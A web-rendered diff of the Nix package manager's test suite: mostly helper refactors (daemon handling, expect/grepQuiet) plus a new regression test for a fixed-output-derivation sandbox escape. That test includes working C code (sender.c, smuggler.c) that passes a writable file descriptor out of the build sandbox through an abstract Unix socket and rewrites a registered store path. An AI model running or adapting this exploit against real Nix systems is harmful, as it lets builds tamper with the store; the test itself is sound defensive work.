@@ -36,6 +50,9 @@ export HAVE_SODIUM="@HAVE_SODIUM@"
export version=@PACKAGE_VERSION@
export system=@system@
export IMPURE_VAR1=foo
export IMPURE_VAR2=bar
cacheDir=$TEST_ROOT/binary-cache
readLink() {
@@ -54,7 +71,6 @@ clearStore() {
mkdir "$NIX_STORE_DIR"
rm -rf "$NIX_STATE_DIR"
mkdir "$NIX_STATE_DIR"
nix-store --init
clearProfiles
}
@@ -67,31 +83,73 @@ clearCacheCache() {
}
startDaemon() {
# Don’t start the daemon twice, as this would just make it loop indefinitely
if [[ "$NIX_REMOTE" == daemon ]]; then
return
fi
# Start the daemon, wait for the socket to appear. !!!
# ‘nix-daemon’ should have an option to fork into the background.
rm -f $NIX_STATE_DIR/daemon-socket/socket
nix-daemon &
for ((i = 0; i < 30; i++)); do
if [ -e $NIX_STATE_DIR/daemon-socket/socket ]; then break; fi
sleep 1
done
rm -f $NIX_DAEMON_SOCKET_PATH
PATH=$DAEMON_PATH nix-daemon &
pidDaemon=$!
trap "kill -9 $pidDaemon" EXIT
for ((i = 0; i < 300; i++)); do
if [[ -S $NIX_DAEMON_SOCKET_PATH ]]; then break; fi
sleep 0.1
done
trap "killDaemon" EXIT
# Save for if daemon is killed
NIX_REMOTE_OLD=$NIX_REMOTE
export NIX_REMOTE=daemon
}
killDaemon() {
kill -9 $pidDaemon
kill $pidDaemon
for i in {0..100}; do
kill -0 $pidDaemon || break
sleep 0.1
done
kill -9 $pidDaemon || true
wait $pidDaemon || true
# Restore old nix remote
NIX_REMOTE=$NIX_REMOTE_OLD
trap "" EXIT
}
restartDaemon() {
[[ -z "${pidDaemon:-}" ]] && return 0
killDaemon
startDaemon
}
if [[ $(uname) == Linux ]] && [[ -L /proc/self/ns/user ]] && unshare --user true; then
_canUseSandbox=1
fi
isDaemonOlder () {
[[ -n "${NIX_DAEMON_PACKAGE:-}" ]] || return 0
local requiredVersion="$1"
local daemonVersion=$($NIX_DAEMON_PACKAGE/bin/nix-daemon --version | cut -d' ' -f3)
[[ $(nix eval --expr "builtins.compareVersions ''$daemonVersion'' ''$requiredVersion''") -lt 0 ]]
}
isDaemonNewer () {
[[ -n "${NIX_DAEMON_PACKAGE:-}" ]] || return 0
local requiredVersion="$1"
local daemonVersion=$($NIX_DAEMON_PACKAGE/bin/nix-daemon --version | cut -d' ' -f3)
[[ $(nix eval --expr "builtins.compareVersions ''$daemonVersion'' ''$requiredVersion''") -ge 0 ]]
}
requireDaemonOlderThan () {
isDaemonOlder "$1" || exit 99
}
requireDaemonNewerThan () {
isDaemonNewer "$1" || exit 99
}
canUseSandbox() {
if [[ ! $_canUseSandbox ]]; then
if [[ ! ${_canUseSandbox-} ]]; then
echo "Sandboxing not supported, skipping this test..."
return 1
fi
@@ -104,15 +162,90 @@ fail() {
exit 1
}
# Run a command failing if it didn't exit with the expected exit code.
#
# Has two advantages over the built-in `!`:
#
# 1. `!` conflates all non-0 codes. `expect` allows testing for an exact
# code.
#
# 2. `!` unexpectedly negates `set -e`, and cannot be used on individual
# pipeline stages with `set -o pipefail`. It only works on the entire
# pipeline, which is useless if we want, say, `nix ...` invocation to
# *fail*, but a grep on the error message it outputs to *succeed*.
expect() {
local expected res
expected="$1"
shift
set +e
"$@"
res="$?"
"$@" && res=0 || res="$?"
set -e
[[ $res -eq $expected ]]
if [[ $res -ne $expected ]]; then
echo "Expected '$expected' but got '$res' while running '${*@Q}'" >&2
return 1
fi
return 0
}
# Better than just doing `expect ... >&2` because the "Expected..."
# message below will *not* be redirected.
expectStderr() {
local expected res
expected="$1"
shift
"$@" 2>&1 && res=0 || res="$?"
if [[ $res -ne $expected ]]; then
echo "Expected '$expected' but got '$res' while running '${*@Q}'" >&2
return 1
fi
return 0
}
needLocalStore() {
if [[ "$NIX_REMOTE" == "daemon" ]]; then
echo "Can’t run through the daemon ($1), skipping this test..."
return 99
fi
}
# Just to make it easy to find which tests should be fixed
buggyNeedLocalStore () {
needLocalStore "$1"
}
# `grep -v` doesn't work well for exit codes. We want `!(exist line l. l
# matches)`. It gives us `exist line l. !(l matches)`.
#
# `!` normally doesn't work well with `set -e`, but when we wrap in a
# function it *does*.
grepInverse() {
! grep "$@"
}
# A shorthand, `> /dev/null` is a bit noisy.
#
# `grep -q` would seem to do this, no function necessary, but it is a
# bad fit with pipes and `set -o pipefail`: `-q` will exit after the
# first match, and then subsequent writes will result in broken pipes.
#
# Note that reproducing the above is a bit tricky as it depends on
# non-deterministic properties such as the timing between the match and
# the closing of the pipe, the buffering of the pipe, and the speed of
# the producer into the pipe. But rest assured we've seen it happen in
# CI reliably.
grepQuiet() {
grep "$@" > /dev/null
}
# The previous two, combined
grepQuietInverse() {
! grep "$@" > /dev/null
}
set -x
if [[ -n "${NIX_DAEMON_PACKAGE:-}" ]]; then
startDaemon
fi
fi # COMMON_SH_SOURCED
+4 -4
View File
@@ -22,7 +22,7 @@ nix-store -q --graph "$outPath" > $TEST_ROOT/graph
if test -n "$dot"; then
# Does it parse?
$dot < $TEST_ROOT/graph
fi
fi
nix-store -q --tree "$outPath" | grep '+---.*dependencies-input-2'
@@ -36,10 +36,10 @@ deps=$(nix-store -quR "$drvPath")
echo "output closure contains $deps"
# The output path should be in the closure.
echo "$deps" | grep -q "$outPath"
echo "$deps" | grepQuiet "$outPath"
# Input-1 is not retained.
if echo "$deps" | grep -q "dependencies-input-1"; then exit 1; fi
if echo "$deps" | grepQuiet "dependencies-input-1"; then exit 1; fi
# Input-2 is retained.
input2OutPath=$(echo "$deps" | grep "dependencies-input-2")
@@ -49,4 +49,4 @@ nix-store -q --referrers-closure "$input2OutPath" | grep "$outPath"
# Check that the derivers are set properly.
test $(nix-store -q --deriver "$outPath") = "$drvPath"
nix-store -q --deriver "$input2OutPath" | grep -q -- "-input-2.drv"
nix-store -q --deriver "$input2OutPath" | grepQuiet -- "-input-2.drv"
+2
View File
@@ -1,5 +1,7 @@
source common.sh
needLocalStore "--dump-db requires a local store"
clearStore
path=$(nix-build dependencies.nix -o $TEST_ROOT/result)
+1 -1
View File
@@ -4,7 +4,7 @@ clearStore
clearProfiles
checkRef() {
nix-store -q --references $TEST_ROOT/result | grep -q "$1" || fail "missing reference $1"
nix-store -q --references $TEST_ROOT/result | grepQuiet "$1"'$' || fail "missing reference $1"
}
# Test the export of the runtime dependency graph.
+1 -1
View File
@@ -60,7 +60,7 @@ hash=$(nix-hash --flat --type sha256 $nar)
outPath=$(nix-build '<nix/fetchurl.nix>' --argstr url file://$nar --argstr sha256 $hash \
--arg unpack true --argstr name xyzzy --no-out-link)
echo $outPath | grep -q 'xyzzy'
echo $outPath | grepQuiet 'xyzzy'
test -x $outPath/fetchurl.sh
test -L $outPath/symlink
-3
View File
@@ -2,9 +2,6 @@ source common.sh
clearStore
export IMPURE_VAR1=foo
export IMPURE_VAR2=bar
path=$(nix-store -q $(nix-instantiate fixed.nix -A good.0))
echo 'testing bad...'
+4 -8
View File
@@ -10,17 +10,15 @@ expect_trace() {
--trace-function-calls \
--expr "$expr" 2>&1 \
| grep "function-trace" \
| sed -e 's/ [0-9]*$//'
);
| sed -e 's/ [0-9]*$//' \
|| true
)
echo -n "Tracing expression '$expr'"
set +e
msg=$(diff -swB \
<(echo "$expect") \
<(echo "$actual")
);
result=$?
set -e
) && result=0 || result=$?
if [ $result -eq 0 ]; then
echo " ok."
else
@@ -81,5 +79,3 @@ function-trace exited undefined position at
function-trace entered (string):1:1 at
function-trace exited (string):1:1 at
"
set -e
+2
View File
@@ -1,5 +1,7 @@
source common.sh
needLocalStore "“min-free” and “max-free” are daemon options"
clearStore
garbage1=$(nix add-to-store --name garbage1 ./nar-access.sh)
+1 -1
View File
@@ -2,7 +2,7 @@ source common.sh
try () {
printf "%s" "$2" > $TEST_ROOT/vector
hash=$(nix hash-file --base16 $EXTRA --type "$1" $TEST_ROOT/vector)
hash=$(nix hash-file --base16 ${EXTRA-} --type "$1" $TEST_ROOT/vector)
if test "$hash" != "$3"; then
echo "hash $1, expected $3, got $hash"
exit 1
Regular → Executable
+7
View File
@@ -1,8 +1,14 @@
set -eu -o pipefail
source common.sh
test -n "$TEST_ROOT"
if test -d "$TEST_ROOT"; then
chmod -R u+w "$TEST_ROOT"
# We would delete any daemon socket, so let's stop the daemon first.
if [[ -n "${NIX_DAEMON_PACKAGE:-}" ]]; then
killDaemon
fi
rm -rf "$TEST_ROOT"
fi
mkdir "$TEST_ROOT"
@@ -18,6 +24,7 @@ build-users-group =
keep-derivations = false
sandbox = false
include nix.conf.extra
trusted-users = $(whoami)
EOF
cat > "$NIX_CONF_DIR"/nix.conf.extra <<EOF
+3 -3
View File
@@ -2,9 +2,9 @@ source common.sh
export TEST_VAR=foo # for eval-okay-getenv.nix
nix-instantiate --eval -E 'builtins.trace "Hello" 123' 2>&1 | grep -q Hello
(! nix-instantiate --show-trace --eval -E 'builtins.addErrorContext "Hello" 123' 2>&1 | grep -q Hello)
nix-instantiate --show-trace --eval -E 'builtins.addErrorContext "Hello" (throw "Foo")' 2>&1 | grep -q Hello
nix-instantiate --eval -E 'builtins.trace "Hello" 123' 2>&1 | grepQuiet Hello
nix-instantiate --show-trace --eval -E 'builtins.addErrorContext "Hello" 123' 2>&1 | grepQuietInverse Hello
expectStderr 1 nix-instantiate --show-trace --eval -E 'builtins.addErrorContext "Hello" (throw "Foo")' 2>&1 | grepQuiet Hello
set +x
@@ -0,0 +1 @@
"quote \" reverse solidus \\ solidus / backspace  formfeed newline \n carriage return \r horizontal tab \t 1 char unicode encoded backspace  1 char unicode encoded e with accent é 2 char unicode encoded s with caron š 3 char unicode encoded rightwards arrow →"
@@ -0,0 +1,3 @@
# This string contains all supported escapes in a JSON string, per json.org
# \b and \f are not supported by Nix
builtins.fromJSON ''"quote \" reverse solidus \\ solidus \/ backspace \b formfeed \f newline \n carriage return \r horizontal tab \t 1 char unicode encoded backspace \u0008 1 char unicode encoded e with accent \u00e9 2 char unicode encoded s with caron \u0161 3 char unicode encoded rightwards arrow \u2192"''
+1 -1
View File
@@ -1 +1 @@
"This is an indented multi-line string\nliteral. An amount of whitespace at\nthe start of each line matching the minimum\nindentation of all lines in the string\nliteral together will be removed. Thus,\nin this case four spaces will be\nstripped from each line, even though\n THIS LINE is indented six spaces.\n\nAlso, empty lines don't count in the\ndetermination of the indentation level (the\nprevious empty line has indentation 0, but\nit doesn't matter).\nIf the string starts with whitespace\n followed by a newline, it's stripped, but\n that's not the case here. Two spaces are\n stripped because of the \" \" at the start. \nThis line is indented\na bit further.\nAnti-quotations, like so, are\nalso allowed.\n The \\ is not special here.\n' can be followed by any character except another ', e.g. 'x'.\nLikewise for $, e.g. $$ or $varName.\nBut ' followed by ' is special, as is $ followed by {.\nIf you want them, use anti-quotations: '', ${.\n Tabs are not interpreted as whitespace (since we can't guess\n what tab settings are intended), so don't use them.\n\tThis line starts with a space and a tab, so only one\n space will be stripped from each line.\nAlso note that if the last line (just before the closing ' ')\nconsists only of whitespace, it's ignored. But here there is\nsome non-whitespace stuff, so the line isn't removed. \nThis shows a hacky way to preserve an empty line after the start.\nBut there's no reason to do so: you could just repeat the empty\nline.\n Similarly you can force an indentation level,\n in this case to 2 spaces. This works because the anti-quote\n is significant (not whitespace).\nstart on network-interfaces\n\nstart script\n\n rm -f /var/run/opengl-driver\n ln -sf 123 /var/run/opengl-driver\n\n rm -f /var/log/slim.log\n \nend script\n\nenv SLIM_CFGFILE=abc\nenv SLIM_THEMESDIR=def\nenv FONTCONFIG_FILE=/etc/fonts/fonts.conf \t\t\t\t# !!! cleanup\nenv XKB_BINDIR=foo/bin \t\t\t\t# Needed for the Xkb extension.\nenv LD_LIBRARY_PATH=libX11/lib:libXext/lib:/usr/lib/ # related to xorg-sys-opengl - needed to load libglx for (AI)GLX support (for compiz)\n\nenv XORG_DRI_DRIVER_PATH=nvidiaDrivers/X11R6/lib/modules/drivers/ \n\nexec slim/bin/slim\nEscaping of ' followed by ': ''\nEscaping of $ followed by {: ${\nAnd finally to interpret \\n etc. as in a string: \n, \r, \t.\nfoo\n'bla'\nbar\ncut -d $'\\t' -f 1\nending dollar $$\n"
"This is an indented multi-line string\nliteral. An amount of whitespace at\nthe start of each line matching the minimum\nindentation of all lines in the string\nliteral together will be removed. Thus,\nin this case four spaces will be\nstripped from each line, even though\n THIS LINE is indented six spaces.\n\nAlso, empty lines don't count in the\ndetermination of the indentation level (the\nprevious empty line has indentation 0, but\nit doesn't matter).\nIf the string starts with whitespace\n followed by a newline, it's stripped, but\n that's not the case here. Two spaces are\n stripped because of the \" \" at the start. \nThis line is indented\na bit further.\nAnti-quotations, like so, are\nalso allowed.\n The \\ is not special here.\n' can be followed by any character except another ', e.g. 'x'.\nLikewise for $, e.g. $$ or $varName.\nBut ' followed by ' is special, as is $ followed by {.\nIf you want them, use anti-quotations: '', \${.\n Tabs are not interpreted as whitespace (since we can't guess\n what tab settings are intended), so don't use them.\n\tThis line starts with a space and a tab, so only one\n space will be stripped from each line.\nAlso note that if the last line (just before the closing ' ')\nconsists only of whitespace, it's ignored. But here there is\nsome non-whitespace stuff, so the line isn't removed. \nThis shows a hacky way to preserve an empty line after the start.\nBut there's no reason to do so: you could just repeat the empty\nline.\n Similarly you can force an indentation level,\n in this case to 2 spaces. This works because the anti-quote\n is significant (not whitespace).\nstart on network-interfaces\n\nstart script\n\n rm -f /var/run/opengl-driver\n ln -sf 123 /var/run/opengl-driver\n\n rm -f /var/log/slim.log\n \nend script\n\nenv SLIM_CFGFILE=abc\nenv SLIM_THEMESDIR=def\nenv FONTCONFIG_FILE=/etc/fonts/fonts.conf \t\t\t\t# !!! cleanup\nenv XKB_BINDIR=foo/bin \t\t\t\t# Needed for the Xkb extension.\nenv LD_LIBRARY_PATH=libX11/lib:libXext/lib:/usr/lib/ # related to xorg-sys-opengl - needed to load libglx for (AI)GLX support (for compiz)\n\nenv XORG_DRI_DRIVER_PATH=nvidiaDrivers/X11R6/lib/modules/drivers/ \n\nexec slim/bin/slim\nEscaping of ' followed by ': ''\nEscaping of $ followed by {: \${\nAnd finally to interpret \\n etc. as in a string: \n, \r, \t.\nfoo\n'bla'\nbar\ncut -d $'\\t' -f 1\nending dollar $$\n"
+2
View File
@@ -1,5 +1,7 @@
source common.sh
needLocalStore "the sandbox only runs on the builder side, so it makes no sense to test it with the daemon"
clearStore
if ! canUseSandbox; then exit; fi
+14 -3
View File
@@ -1,6 +1,10 @@
check:
@echo "Warning: Nix has no 'make check'. Please install Nix and run 'make installcheck' instead."
# whether to run the tests that assume that we have a local build of
# Nix
HAVE_LOCAL_NIX_BUILD ?= 1
nix_tests = \
init.sh hash.sh lang.sh add.sh simple.sh dependencies.sh \
gc.sh \
@@ -12,6 +16,7 @@ nix_tests = \
timeout.sh secure-drv-outputs.sh nix-channel.sh \
multiple-outputs.sh import-derivation.sh fetchurl.sh optimise-store.sh \
binary-cache.sh nix-profile.sh repair.sh dump-db.sh case-hack.sh \
substitute-with-invalid-ca.sh \
check-reqs.sh pass-as-file.sh tarball.sh restricted.sh \
placeholders.sh nix-shell.sh \
linux-sandbox.sh \
@@ -26,17 +31,23 @@ nix_tests = \
brotli.sh \
pure-eval.sh \
check.sh \
plugins.sh \
search.sh \
nix-copy-ssh.sh \
post-hook.sh \
function-trace.sh
function-trace.sh \
test-infra.sh \
# parallel.sh
ifeq ($(HAVE_LOCAL_NIX_BUILD), 1)
nix_tests += plugins.sh
endif
tests/plugins.sh.test: tests/plugins/libplugintest.$(SO_EXT)
install-tests += $(foreach x, $(nix_tests), tests/$(x))
tests-environment = NIX_REMOTE= $(bash) -e
clean-files += $(d)/common.sh
installcheck: $(d)/common.sh $(d)/plugins/libplugintest.$(SO_EXT)
test-deps += tests/common.sh
+7 -7
View File
@@ -3,17 +3,17 @@ source common.sh
# Tests miscellaneous commands.
# Do all commands have help?
#nix-env --help | grep -q install
#nix-store --help | grep -q realise
#nix-instantiate --help | grep -q eval
#nix-hash --help | grep -q base32
#nix-env --help | grepQuiet install
#nix-store --help | grepQuiet realise
#nix-instantiate --help | grepQuiet eval
#nix-hash --help | grepQuiet base32
# Can we ask for the version number?
nix-env --version | grep "$version"
# Usage errors.
nix-env --foo 2>&1 | grep "no operation"
nix-env -q --foo 2>&1 | grep "unknown flag"
expect 1 nix-env --foo 2>&1 | grep "no operation"
expect 1 nix-env -q --foo 2>&1 | grep "unknown flag"
# Eval Errors.
nix-instantiate --eval -E 'let a = {} // a; in a.foo' 2>&1 | grep "infinite recursion encountered, at .*(string).*:1:15$"
expect 1 nix-instantiate --eval -E 'let a = {} // a; in a.foo' 2>&1 | grep "infinite recursion encountered, at .*(string).*:1:15$"
+3 -3
View File
@@ -13,8 +13,8 @@ echo "evaluating c..."
# outputs.
drvPath=$(nix-instantiate multiple-outputs.nix -A c)
#[ "$drvPath" = "$drvPath2" ]
grep -q 'multiple-outputs-a.drv",\["first","second"\]' $drvPath
grep -q 'multiple-outputs-b.drv",\["out"\]' $drvPath
grepQuiet 'multiple-outputs-a.drv",\["first","second"\]' $drvPath
grepQuiet 'multiple-outputs-b.drv",\["out"\]' $drvPath
# While we're at it, test the ‘unsafeDiscardOutputDependency’ primop.
outPath=$(nix-build multiple-outputs.nix -A d --no-out-link)
@@ -52,7 +52,7 @@ outPath2=$(nix-build $(nix-instantiate multiple-outputs.nix -A a.second) --no-ou
# Delete one of the outputs and rebuild it. This will cause a hash
# rewrite.
nix-store --delete $TEST_ROOT/result-second --ignore-liveness
env -u NIX_REMOTE nix-store --delete $TEST_ROOT/result-second --ignore-liveness
nix-build multiple-outputs.nix -A a.all -o $TEST_ROOT/result
[ "$(cat $TEST_ROOT/result-second/file)" = "second" ]
[ "$(cat $TEST_ROOT/result-second/link/file)" = "first" ]
+2 -2
View File
@@ -34,8 +34,8 @@ diff -u baz.cat-nar $storePath/foo/baz
[[ $(nix ls-store --json -R $storePath/foo/bar) = '{"type":"regular","size":0}' ]]
# Test missing files.
nix ls-store --json -R $storePath/xyzzy 2>&1 | grep 'does not exist in NAR'
nix ls-store $storePath/xyzzy 2>&1 | grep 'does not exist'
expect 1 nix ls-store --json -R $storePath/xyzzy 2>&1 | grep 'does not exist in NAR'
expect 1 nix ls-store $storePath/xyzzy 2>&1 | grep 'does not exist'
# Test failure to dump.
if nix-store --dump $storePath >/dev/full ; then
+5 -5
View File
@@ -6,7 +6,7 @@ rm -f $TEST_HOME/.nix-channels $TEST_HOME/.nix-profile
# Test add/list/remove.
nix-channel --add http://foo/bar xyzzy
nix-channel --list | grep -q http://foo/bar
nix-channel --list | grepQuiet http://foo/bar
nix-channel --remove xyzzy
[ -e $TEST_HOME/.nix-channels ]
@@ -31,8 +31,8 @@ nix-env -qa \* --meta --xml --out-path > $TEST_ROOT/meta.xml
if [ "$xmllint" != false ]; then
$xmllint --noout $TEST_ROOT/meta.xml || fail "malformed XML"
fi
grep -q 'meta.*description.*Random test package' $TEST_ROOT/meta.xml
grep -q 'item.*attrPath="foo".*name="dependencies"' $TEST_ROOT/meta.xml
grepQuiet 'meta.*description.*Random test package' $TEST_ROOT/meta.xml
grepQuiet 'item.*attrPath="foo".*name="dependencies"' $TEST_ROOT/meta.xml
# Do an install.
nix-env -i dependencies
@@ -50,8 +50,8 @@ nix-env -qa \* --meta --xml --out-path > $TEST_ROOT/meta.xml
if [ "$xmllint" != false ]; then
$xmllint --noout $TEST_ROOT/meta.xml || fail "malformed XML"
fi
grep -q 'meta.*description.*Random test package' $TEST_ROOT/meta.xml
grep -q 'item.*attrPath="foo".*name="dependencies"' $TEST_ROOT/meta.xml
grepQuiet 'meta.*description.*Random test package' $TEST_ROOT/meta.xml
grepQuiet 'item.*attrPath="foo".*name="dependencies"' $TEST_ROOT/meta.xml
# Do an install.
nix-env -i dependencies
+39 -32
View File
@@ -2,7 +2,9 @@
{ nixpkgs, system, nix }:
with import (nixpkgs + "/nixos/lib/testing.nix") { inherit system; };
with import (nixpkgs + "/nixos/lib/testing-python.nix") {
inherit system;
};
makeTest (let pkgA = pkgs.cowsay; pkgB = pkgs.wget; pkgC = pkgs.hello; in {
@@ -24,41 +26,46 @@ makeTest (let pkgA = pkgs.cowsay; pkgB = pkgs.wget; pkgC = pkgs.hello; in {
};
};
testScript = { nodes }:
''
startAll;
testScript = { nodes }: ''
# fmt: off
import subprocess
# Create an SSH key on the client.
my $key = `${pkgs.openssh}/bin/ssh-keygen -t ed25519 -f key -N ""`;
$client->succeed("mkdir -m 700 /root/.ssh");
$client->copyFileFromHost("key", "/root/.ssh/id_ed25519");
$client->succeed("chmod 600 /root/.ssh/id_ed25519");
start_all()
# Install the SSH key on the server.
$server->succeed("mkdir -m 700 /root/.ssh");
$server->copyFileFromHost("key.pub", "/root/.ssh/authorized_keys");
$server->waitForUnit("sshd");
$client->waitForUnit("network.target");
$client->succeed("ssh -o StrictHostKeyChecking=no " . $server->name() . " 'echo hello world'");
# Create an SSH key on the client.
subprocess.run([
"${pkgs.openssh}/bin/ssh-keygen", "-t", "ed25519", "-f", "key", "-N", ""
], capture_output=True, check=True)
# Copy the closure of package A from the client to the server.
$server->fail("nix-store --check-validity ${pkgA}");
$client->succeed("nix-copy-closure --to server --gzip ${pkgA} >&2");
$server->succeed("nix-store --check-validity ${pkgA}");
client.succeed("mkdir -m 700 /root/.ssh")
client.copy_from_host("key", "/root/.ssh/id_ed25519")
client.succeed("chmod 600 /root/.ssh/id_ed25519")
# Copy the closure of package B from the server to the client.
$client->fail("nix-store --check-validity ${pkgB}");
$client->succeed("nix-copy-closure --from server --gzip ${pkgB} >&2");
$client->succeed("nix-store --check-validity ${pkgB}");
# Install the SSH key on the server.
server.succeed("mkdir -m 700 /root/.ssh")
server.copy_from_host("key.pub", "/root/.ssh/authorized_keys")
server.wait_for_unit("sshd")
client.wait_for_unit("network.target")
client.succeed(f"ssh -o StrictHostKeyChecking=no {server.name} 'echo hello world'")
# Copy the closure of package C via the SSH substituter.
$client->fail("nix-store -r ${pkgC}");
# FIXME
#$client->succeed(
# "nix-store --option use-ssh-substituter true"
# . " --option ssh-substituter-hosts root\@server"
# . " -r ${pkgC} >&2");
#$client->succeed("nix-store --check-validity ${pkgC}");
'';
# Copy the closure of package A from the client to the server.
server.fail("nix-store --check-validity ${pkgA}")
client.succeed("nix-copy-closure --to server --gzip ${pkgA} >&2")
server.succeed("nix-store --check-validity ${pkgA}")
# Copy the closure of package B from the server to the client.
client.fail("nix-store --check-validity ${pkgB}")
client.succeed("nix-copy-closure --from server --gzip ${pkgB} >&2")
client.succeed("nix-store --check-validity ${pkgB}")
# Copy the closure of package C via the SSH substituter.
client.fail("nix-store -r ${pkgC}")
# FIXME
# client.succeed(
# "nix-store --option use-ssh-substituter true"
# " --option ssh-substituter-hosts root\@server"
# " -r ${pkgC} >&2"
# )
# client.succeed("nix-store --check-validity ${pkgC}")
'';
})
+93
View File
@@ -0,0 +1,93 @@
# Nix is a sandboxed build system. But Not everything can be handled inside its
# sandbox: Network access is normally blocked off, but to download sources, a
# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
# The detail here is not important, but in our case it means that the hash of
# the output has to be known beforehand. And if you know that, you get a few
# rights: you no longer run inside a special network namespace!
#
# Now, Linux has a special feature, that not many other unices do: Abstract
# unix domain sockets! Not only that, but those are namespaced using the
# network namespace! That means that we have a way to create sockets that are
# available in every single fixed-output derivation, and also all processes
# running on the host machine! Now, this wouldn't be that much of an issue, as,
# well, the whole idea is that the output is pure, and all processes in the
# sandbox are killed before finalizing the output. What if we didn't need those
# processes at all? Unix domain sockets have a semi-known trick: you can pass
# file descriptors around!
# This makes it possible to exfiltrate a file-descriptor with write access to
# $out outside of the sandbox. And that file-descriptor can be used to modify
# the contents of the store path after it has been registered.
{ nixpkgs, system, nix }:
with import (nixpkgs + "/nixos/lib/testing-python.nix") {
inherit system;
};
let
# Simple C program that sends a a file descriptor to `$out` to a Unix
# domain socket.
# Compiled statically so that we can easily send it to the VM and use it
# inside the build sandbox.
sender = pkgs.runCommandWith {
name = "sender";
stdenv = pkgs.pkgsStatic.stdenv;
} ''
$CC -static -o $out ${./sender.c}
'';
# Okay, so we have a file descriptor shipped out of the FOD now. But the
# Nix store is read-only, right? .. Well, yeah. But this file descriptor
# lives in a mount namespace where it is not! So even when this file exists
# in the actual Nix store, we're capable of just modifying its contents...
smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
# The abstract socket path used to exfiltrate the file descriptor
socketName = "FODSandboxExfiltrationSocket";
in
makeTest {
name = "ca-fd-leak";
nodes.machine =
{ config, lib, pkgs, ... }:
{ virtualisation.writableStore = true;
virtualisation.pathsInNixDB = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
nix.binaryCaches = [ ];
nix.package = nix;
};
testScript = { nodes }: ''
start_all()
machine.succeed("echo hello")
# Start the smuggler server
machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
# Build the smuggled derivation.
# This will connect to the smuggler server and send it the file descriptor
machine.succeed(r"""
nix-build -E '
builtins.derivation {
name = "smuggled";
system = builtins.currentSystem;
# look ma, no tricks!
outputHashMode = "flat";
outputHashAlgo = "sha256";
outputHash = builtins.hashString "sha256" "hello, world\n";
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
}'
""".strip())
# Tell the smuggler server that we're done
machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
# Check that the file was not modified
machine.succeed(r"""
cat ./result
test "$(cat ./result)" = "hello, world"
""".strip())
'';
}
+65
View File
@@ -0,0 +1,65 @@
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
int main(int argc, char **argv) {
assert(argc == 2);
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Set up a abstract domain socket path to connect to.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, argv[1]);
// Now try to connect, To ensure we work no matter what order we are
// executed in, just busyloop here.
int res = -1;
while (res < 0) {
res = connect(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(argv[1])
+ 1);
if (res < 0 && errno != ECONNREFUSED) perror("connect");
if (errno != ECONNREFUSED) break;
}
// Write our message header.
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Write an SCM_RIGHTS message containing the output path.
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
hdr->cmsg_len = CMSG_LEN(sizeof(int));
hdr->cmsg_level = SOL_SOCKET;
hdr->cmsg_type = SCM_RIGHTS;
int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
msg.msg_controllen = CMSG_SPACE(sizeof(int));
// Write a single null byte too.
msg.msg_iov = malloc(sizeof(struct iovec));
msg.msg_iov[0].iov_base = "";
msg.msg_iov[0].iov_len = 1;
msg.msg_iovlen = 1;
// Send it to the othher side of this connection.
res = sendmsg(sock, &msg, 0);
if (res < 0) perror("sendmsg");
int buf;
// Wait for the server to close the socket, implying that it has
// received the commmand.
recv(sock, (void *)&buf, sizeof(int), 0);
}
+66
View File
@@ -0,0 +1,66 @@
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <assert.h>
int main(int argc, char **argv) {
assert(argc == 2);
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Bind to the socket.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, argv[1]);
int res = bind(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(argv[1])
+ 1);
if (res < 0) perror("bind");
res = listen(sock, 1);
if (res < 0) perror("listen");
int smuggling_fd = -1;
// Accept the connection a first time to receive the file descriptor.
fprintf(stderr, "%s\n", "Waiting for the first connection");
int a = accept(sock, 0, 0);
if (a < 0) perror("accept");
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Receive the file descriptor as sent by the smuggler.
recvmsg(a, &msg, 0);
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
while (hdr) {
if (hdr->cmsg_level == SOL_SOCKET
&& hdr->cmsg_type == SCM_RIGHTS) {
// Grab the copy of the file descriptor.
memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
}
hdr = CMSG_NXTHDR(&msg, hdr);
}
fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
close(a);
// Wait for a second connection, which will tell us that the build is
// done
a = accept(sock, 0, 0);
fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
// Write a new content to the file
if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
char * new_content = "Pwned\n";
int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
if (written_bytes != strlen(new_content)) perror("write");
}
Loaded 100 of 116 files, more files were not shown because too many files have changed in this diff. Show more